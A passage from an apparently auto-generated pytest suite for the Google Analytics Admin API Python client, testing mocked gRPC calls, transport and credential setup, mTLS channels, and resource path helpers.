# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateDataRetentionSettingsRequest()
request.data_retention_settings.name = "data_retention_settings.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
call.return_value = resources.DataRetentionSettings()
client.update_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"data_retention_settings.name=data_retention_settings.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_data_retention_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateDataRetentionSettingsRequest()
request.data_retention_settings.name = "data_retention_settings.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings()
)
await client.update_data_retention_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"data_retention_settings.name=data_retention_settings.name/value",
) in kw["metadata"]
def test_update_data_retention_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_data_retention_settings(
data_retention_settings=resources.DataRetentionSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].data_retention_settings == resources.DataRetentionSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_data_retention_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_data_retention_settings(
analytics_admin.UpdateDataRetentionSettingsRequest(),
data_retention_settings=resources.DataRetentionSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_data_retention_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_data_retention_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DataRetentionSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DataRetentionSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_data_retention_settings(
data_retention_settings=resources.DataRetentionSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].data_retention_settings == resources.DataRetentionSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_data_retention_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_data_retention_settings(
analytics_admin.UpdateDataRetentionSettingsRequest(),
data_retention_settings=resources.DataRetentionSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.AnalyticsAdminServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.AnalyticsAdminServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = AnalyticsAdminServiceClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide scopes and a transport instance.
transport = transports.AnalyticsAdminServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = AnalyticsAdminServiceClient(
client_options={"scopes": ["1", "2"]}, transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.AnalyticsAdminServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
client = AnalyticsAdminServiceClient(transport=transport)
assert client.transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.AnalyticsAdminServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.AnalyticsAdminServiceGrpcAsyncIOTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
def test_transport_adc(transport_class):
# Test default credentials are used if not provided.
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class()
adc.assert_called_once()
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
assert isinstance(client.transport, transports.AnalyticsAdminServiceGrpcTransport,)
def test_analytics_admin_service_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(core_exceptions.DuplicateCredentialArgs):
transport = transports.AnalyticsAdminServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_analytics_admin_service_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.analytics.admin_v1alpha.services.analytics_admin_service.transports.AnalyticsAdminServiceTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.AnalyticsAdminServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"get_account",
"list_accounts",
"delete_account",
"update_account",
"provision_account_ticket",
"list_account_summaries",
"get_property",
"list_properties",
"create_property",
"delete_property",
"update_property",
"get_user_link",
"batch_get_user_links",
"list_user_links",
"audit_user_links",
"create_user_link",
"batch_create_user_links",
"update_user_link",
"batch_update_user_links",
"delete_user_link",
"batch_delete_user_links",
"get_web_data_stream",
"delete_web_data_stream",
"update_web_data_stream",
"create_web_data_stream",
"list_web_data_streams",
"get_ios_app_data_stream",
"delete_ios_app_data_stream",
"update_ios_app_data_stream",
"list_ios_app_data_streams",
"get_android_app_data_stream",
"delete_android_app_data_stream",
"update_android_app_data_stream",
"list_android_app_data_streams",
"get_enhanced_measurement_settings",
"update_enhanced_measurement_settings",
"create_firebase_link",
"delete_firebase_link",
"list_firebase_links",
"get_global_site_tag",
"create_google_ads_link",
"update_google_ads_link",
"delete_google_ads_link",
"list_google_ads_links",
"get_data_sharing_settings",
"get_measurement_protocol_secret",
"list_measurement_protocol_secrets",
"create_measurement_protocol_secret",
"delete_measurement_protocol_secret",
"update_measurement_protocol_secret",
"search_change_history_events",
"get_google_signals_settings",
"update_google_signals_settings",
"create_conversion_event",
"get_conversion_event",
"delete_conversion_event",
"list_conversion_events",
"get_display_video360_advertiser_link",
"list_display_video360_advertiser_links",
"create_display_video360_advertiser_link",
"delete_display_video360_advertiser_link",
"update_display_video360_advertiser_link",
"get_display_video360_advertiser_link_proposal",
"list_display_video360_advertiser_link_proposals",
"create_display_video360_advertiser_link_proposal",
"delete_display_video360_advertiser_link_proposal",
"approve_display_video360_advertiser_link_proposal",
"cancel_display_video360_advertiser_link_proposal",
"create_custom_dimension",
"update_custom_dimension",
"list_custom_dimensions",
"archive_custom_dimension",
"get_custom_dimension",
"create_custom_metric",
"update_custom_metric",
"list_custom_metrics",
"archive_custom_metric",
"get_custom_metric",
"get_data_retention_settings",
"update_data_retention_settings",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
with pytest.raises(NotImplementedError):
transport.close()
@requires_google_auth_gte_1_25_0
def test_analytics_admin_service_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch(
"google.analytics.admin_v1alpha.services.analytics_admin_service.transports.AnalyticsAdminServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.AnalyticsAdminServiceTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=None,
default_scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id="octopus",
)
@requires_google_auth_lt_1_25_0
def test_analytics_admin_service_base_transport_with_credentials_file_old_google_auth():
# Instantiate the base transport with a credentials file
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch(
"google.analytics.admin_v1alpha.services.analytics_admin_service.transports.AnalyticsAdminServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.AnalyticsAdminServiceTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id="octopus",
)
def test_analytics_admin_service_base_transport_with_adc():
# Test the default credentials are used if credentials and credentials_file are None.
with mock.patch.object(google.auth, "default", autospec=True) as adc, mock.patch(
"google.analytics.admin_v1alpha.services.analytics_admin_service.transports.AnalyticsAdminServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.AnalyticsAdminServiceTransport()
adc.assert_called_once()
@requires_google_auth_gte_1_25_0
def test_analytics_admin_service_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
AnalyticsAdminServiceClient()
adc.assert_called_once_with(
scopes=None,
default_scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id=None,
)
@requires_google_auth_lt_1_25_0
def test_analytics_admin_service_auth_adc_old_google_auth():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
AnalyticsAdminServiceClient()
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id=None,
)
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
@requires_google_auth_gte_1_25_0
def test_analytics_admin_service_transport_auth_adc(transport_class):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
adc.assert_called_once_with(
scopes=["1", "2"],
default_scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
@requires_google_auth_lt_1_25_0
def test_analytics_admin_service_transport_auth_adc_old_google_auth(transport_class):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class(quota_project_id="octopus")
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"transport_class,grpc_helpers",
[
(transports.AnalyticsAdminServiceGrpcTransport, grpc_helpers),
(transports.AnalyticsAdminServiceGrpcAsyncIOTransport, grpc_helpers_async),
],
)
def test_analytics_admin_service_transport_create_channel(
transport_class, grpc_helpers
):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(
google.auth, "default", autospec=True
) as adc, mock.patch.object(
grpc_helpers, "create_channel", autospec=True
) as create_channel:
creds = ga_credentials.AnonymousCredentials()
adc.return_value = (creds, None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
create_channel.assert_called_with(
"analyticsadmin.googleapis.com:443",
credentials=creds,
credentials_file=None,
quota_project_id="octopus",
default_scopes=(
"https://www.googleapis.com/auth/analytics.edit",
"https://www.googleapis.com/auth/analytics.manage.users",
"https://www.googleapis.com/auth/analytics.manage.users.readonly",
"https://www.googleapis.com/auth/analytics.readonly",
),
scopes=["1", "2"],
default_host="analyticsadmin.googleapis.com",
ssl_credentials=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
def test_analytics_admin_service_grpc_transport_client_cert_source_for_mtls(
transport_class,
):
cred = ga_credentials.AnonymousCredentials()
# Check ssl_channel_credentials is used if provided.
with mock.patch.object(transport_class, "create_channel") as mock_create_channel:
mock_ssl_channel_creds = mock.Mock()
transport_class(
host="squid.clam.whelk",
credentials=cred,
ssl_channel_credentials=mock_ssl_channel_creds,
)
mock_create_channel.assert_called_once_with(
"squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_channel_creds,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
# Check if ssl_channel_credentials is not provided, then client_cert_source_for_mtls
# is used.
with mock.patch.object(transport_class, "create_channel", return_value=mock.Mock()):
with mock.patch("grpc.ssl_channel_credentials") as mock_ssl_cred:
transport_class(
credentials=cred,
client_cert_source_for_mtls=client_cert_source_callback,
)
expected_cert, expected_key = client_cert_source_callback()
mock_ssl_cred.assert_called_once_with(
certificate_chain=expected_cert, private_key=expected_key
)
def test_analytics_admin_service_host_no_port():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="analyticsadmin.googleapis.com"
),
)
assert client.transport._host == "analyticsadmin.googleapis.com:443"
def test_analytics_admin_service_host_with_port():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="analyticsadmin.googleapis.com:8000"
),
)
assert client.transport._host == "analyticsadmin.googleapis.com:8000"
def test_analytics_admin_service_grpc_transport_channel():
channel = grpc.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.AnalyticsAdminServiceGrpcTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
def test_analytics_admin_service_grpc_asyncio_transport_channel():
channel = aio.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.AnalyticsAdminServiceGrpcAsyncIOTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
def test_analytics_admin_service_transport_channel_mtls_with_client_cert_source(
transport_class,
):
with mock.patch(
"grpc.ssl_channel_credentials", autospec=True
) as grpc_ssl_channel_cred:
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
cred = ga_credentials.AnonymousCredentials()
with pytest.warns(DeprecationWarning):
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (cred, None)
transport = transport_class(
host="squid.clam.whelk",
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
adc.assert_called_once()
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
assert transport._ssl_channel_credentials == mock_ssl_cred
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.AnalyticsAdminServiceGrpcTransport,
transports.AnalyticsAdminServiceGrpcAsyncIOTransport,
],
)
def test_analytics_admin_service_transport_channel_mtls_with_adc(transport_class):
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
mock_cred = mock.Mock()
with pytest.warns(DeprecationWarning):
transport = transport_class(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
def test_account_path():
account = "squid"
expected = "accounts/{account}".format(account=account,)
actual = AnalyticsAdminServiceClient.account_path(account)
assert expected == actual
def test_parse_account_path():
expected = {
"account": "clam",
}
path = AnalyticsAdminServiceClient.account_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_account_path(path)
assert expected == actual
def test_account_summary_path():
account_summary = "whelk"
expected = "accountSummaries/{account_summary}".format(
account_summary=account_summary,
)
actual = AnalyticsAdminServiceClient.account_summary_path(account_summary)
assert expected == actual
def test_parse_account_summary_path():
expected = {
"account_summary": "octopus",
}
path = AnalyticsAdminServiceClient.account_summary_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_account_summary_path(path)
assert expected == actual
def test_android_app_data_stream_path():
property = "oyster"
android_app_data_stream = "nudibranch"
expected = "properties/{property}/androidAppDataStreams/{android_app_data_stream}".format(
property=property, android_app_data_stream=android_app_data_stream,
)
actual = AnalyticsAdminServiceClient.android_app_data_stream_path(
property, android_app_data_stream
)
assert expected == actual
def test_parse_android_app_data_stream_path():
expected = {
"property": "cuttlefish",
"android_app_data_stream": "mussel",
}
path = AnalyticsAdminServiceClient.android_app_data_stream_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_android_app_data_stream_path(path)
assert expected == actual
def test_conversion_event_path():
property = "winkle"
conversion_event = "nautilus"
expected = "properties/{property}/conversionEvents/{conversion_event}".format(
property=property, conversion_event=conversion_event,
)
actual = AnalyticsAdminServiceClient.conversion_event_path(
property, conversion_event
)
assert expected == actual
def test_parse_conversion_event_path():
expected = {
"property": "scallop",
"conversion_event": "abalone",
}
path = AnalyticsAdminServiceClient.conversion_event_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_conversion_event_path(path)
assert expected == actual
def test_custom_dimension_path():
property = "squid"
expected = "properties/{property}/customDimensions".format(property=property,)
actual = AnalyticsAdminServiceClient.custom_dimension_path(property)
assert expected == actual
def test_parse_custom_dimension_path():
expected = {
"property": "clam",
}
path = AnalyticsAdminServiceClient.custom_dimension_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_custom_dimension_path(path)
assert expected == actual
def test_custom_metric_path():
property = "whelk"
expected = "properties/{property}/customMetrics".format(property=property,)
actual = AnalyticsAdminServiceClient.custom_metric_path(property)
assert expected == actual
def test_parse_custom_metric_path():
expected = {
"property": "octopus",
}
path = AnalyticsAdminServiceClient.custom_metric_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_custom_metric_path(path)
assert expected == actual
def test_data_retention_settings_path():
property = "oyster"
expected = "properties/{property}/dataRetentionSettings".format(property=property,)
actual = AnalyticsAdminServiceClient.data_retention_settings_path(property)
assert expected == actual
def test_parse_data_retention_settings_path():
expected = {
"property": "nudibranch",
}
path = AnalyticsAdminServiceClient.data_retention_settings_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_data_retention_settings_path(path)
assert expected == actual
def test_data_sharing_settings_path():
account = "cuttlefish"
expected = "accounts/{account}/dataSharingSettings".format(account=account,)
actual = AnalyticsAdminServiceClient.data_sharing_settings_path(account)
assert expected == actual
def test_parse_data_sharing_settings_path():
expected = {
"account": "mussel",
}
path = AnalyticsAdminServiceClient.data_sharing_settings_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_data_sharing_settings_path(path)
assert expected == actual
def test_display_video360_advertiser_link_path():
property = "winkle"
display_video_360_advertiser_link = "nautilus"
expected = "properties/{property}/displayVideo360AdvertiserLinks/{display_video_360_advertiser_link}".format(
property=property,
display_video_360_advertiser_link=display_video_360_advertiser_link,
)
actual = AnalyticsAdminServiceClient.display_video360_advertiser_link_path(
property, display_video_360_advertiser_link
)
assert expected == actual
def test_parse_display_video360_advertiser_link_path():
expected = {
"property": "scallop",
"display_video_360_advertiser_link": "abalone",
}
path = AnalyticsAdminServiceClient.display_video360_advertiser_link_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_display_video360_advertiser_link_path(
path
)
assert expected == actual
def test_display_video360_advertiser_link_proposal_path():
property = "squid"
display_video_360_advertiser_link_proposal = "clam"
expected = "properties/{property}/displayVideo360AdvertiserLinkProposals/{display_video_360_advertiser_link_proposal}".format(
property=property,
display_video_360_advertiser_link_proposal=display_video_360_advertiser_link_proposal,
)
actual = AnalyticsAdminServiceClient.display_video360_advertiser_link_proposal_path(
property, display_video_360_advertiser_link_proposal
)
assert expected == actual
def test_parse_display_video360_advertiser_link_proposal_path():
expected = {
"property": "whelk",
"display_video_360_advertiser_link_proposal": "octopus",
}
path = AnalyticsAdminServiceClient.display_video360_advertiser_link_proposal_path(
**expected
)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_display_video360_advertiser_link_proposal_path(
path
)
assert expected == actual
def test_enhanced_measurement_settings_path():
property = "oyster"
web_data_stream = "nudibranch"
expected = "properties/{property}/webDataStreams/{web_data_stream}/enhancedMeasurementSettings".format(
property=property, web_data_stream=web_data_stream,
)
actual = AnalyticsAdminServiceClient.enhanced_measurement_settings_path(
property, web_data_stream
)
assert expected == actual
def test_parse_enhanced_measurement_settings_path():
expected = {
"property": "cuttlefish",
"web_data_stream": "mussel",
}
path = AnalyticsAdminServiceClient.enhanced_measurement_settings_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_enhanced_measurement_settings_path(path)
assert expected == actual
def test_firebase_link_path():
property = "winkle"
firebase_link = "nautilus"
expected = "properties/{property}/firebaseLinks/{firebase_link}".format(
property=property, firebase_link=firebase_link,
)
actual = AnalyticsAdminServiceClient.firebase_link_path(property, firebase_link)
assert expected == actual
def test_parse_firebase_link_path():
expected = {
"property": "scallop",
"firebase_link": "abalone",
}
path = AnalyticsAdminServiceClient.firebase_link_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_firebase_link_path(path)
assert expected == actual
def test_global_site_tag_path():
property = "squid"
expected = "properties/{property}/globalSiteTag".format(property=property,)
actual = AnalyticsAdminServiceClient.global_site_tag_path(property)
assert expected == actual
def test_parse_global_site_tag_path():
expected = {
"property": "clam",
}
path = AnalyticsAdminServiceClient.global_site_tag_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_global_site_tag_path(path)
assert expected == actual
def test_google_ads_link_path():
property = "whelk"
google_ads_link = "octopus"
expected = "properties/{property}/googleAdsLinks/{google_ads_link}".format(
property=property, google_ads_link=google_ads_link,
)
actual = AnalyticsAdminServiceClient.google_ads_link_path(property, google_ads_link)
assert expected == actual
def test_parse_google_ads_link_path():
expected = {
"property": "oyster",
"google_ads_link": "nudibranch",
}
path = AnalyticsAdminServiceClient.google_ads_link_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_google_ads_link_path(path)
assert expected == actual
def test_google_signals_settings_path():
property = "cuttlefish"
expected = "properties/{property}/googleSignalsSettings".format(property=property,)
actual = AnalyticsAdminServiceClient.google_signals_settings_path(property)
assert expected == actual
def test_parse_google_signals_settings_path():
expected = {
"property": "mussel",
}
path = AnalyticsAdminServiceClient.google_signals_settings_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_google_signals_settings_path(path)
assert expected == actual
def test_ios_app_data_stream_path():
property = "winkle"
ios_app_data_stream = "nautilus"
expected = "properties/{property}/iosAppDataStreams/{ios_app_data_stream}".format(
property=property, ios_app_data_stream=ios_app_data_stream,
)
actual = AnalyticsAdminServiceClient.ios_app_data_stream_path(
property, ios_app_data_stream
)
assert expected == actual
def test_parse_ios_app_data_stream_path():
expected = {
"property": "scallop",
"ios_app_data_stream": "abalone",
}
path = AnalyticsAdminServiceClient.ios_app_data_stream_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_ios_app_data_stream_path(path)
assert expected == actual
def test_measurement_protocol_secret_path():
property = "squid"
web_data_stream = "clam"
measurement_protocol_secret = "whelk"
expected = "properties/{property}/webDataStreams/{web_data_stream}/measurementProtocolSecrets/{measurement_protocol_secret}".format(
property=property,
web_data_stream=web_data_stream,
measurement_protocol_secret=measurement_protocol_secret,
)
actual = AnalyticsAdminServiceClient.measurement_protocol_secret_path(
property, web_data_stream, measurement_protocol_secret
)
assert expected == actual
def test_parse_measurement_protocol_secret_path():
expected = {
"property": "octopus",
"web_data_stream": "oyster",
"measurement_protocol_secret": "nudibranch",
}
path = AnalyticsAdminServiceClient.measurement_protocol_secret_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_measurement_protocol_secret_path(path)
assert expected == actual
def test_property_path():
property = "cuttlefish"
expected = "properties/{property}".format(property=property,)
actual = AnalyticsAdminServiceClient.property_path(property)
assert expected == actual
def test_parse_property_path():
expected = {
"property": "mussel",
}
path = AnalyticsAdminServiceClient.property_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_property_path(path)
assert expected == actual
def test_user_link_path():
account = "winkle"
user_link = "nautilus"
expected = "accounts/{account}/userLinks/{user_link}".format(
account=account, user_link=user_link,
)
actual = AnalyticsAdminServiceClient.user_link_path(account, user_link)
assert expected == actual
def test_parse_user_link_path():
expected = {
"account": "scallop",
"user_link": "abalone",
}
path = AnalyticsAdminServiceClient.user_link_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_user_link_path(path)
assert expected == actual
def test_web_data_stream_path():
property = "squid"
web_data_stream = "clam"
expected = "properties/{property}/webDataStreams/{web_data_stream}".format(
property=property, web_data_stream=web_data_stream,
)
actual = AnalyticsAdminServiceClient.web_data_stream_path(property, web_data_stream)
assert expected == actual
def test_parse_web_data_stream_path():
expected = {
"property": "whelk",
"web_data_stream": "octopus",
}
path = AnalyticsAdminServiceClient.web_data_stream_path(**expected)
# Check that the path construction is reversible.
actual = AnalyticsAdminServiceClient.parse_web_data_stream_path(path)
assert expected == actual
def test_common_billing_account_path():
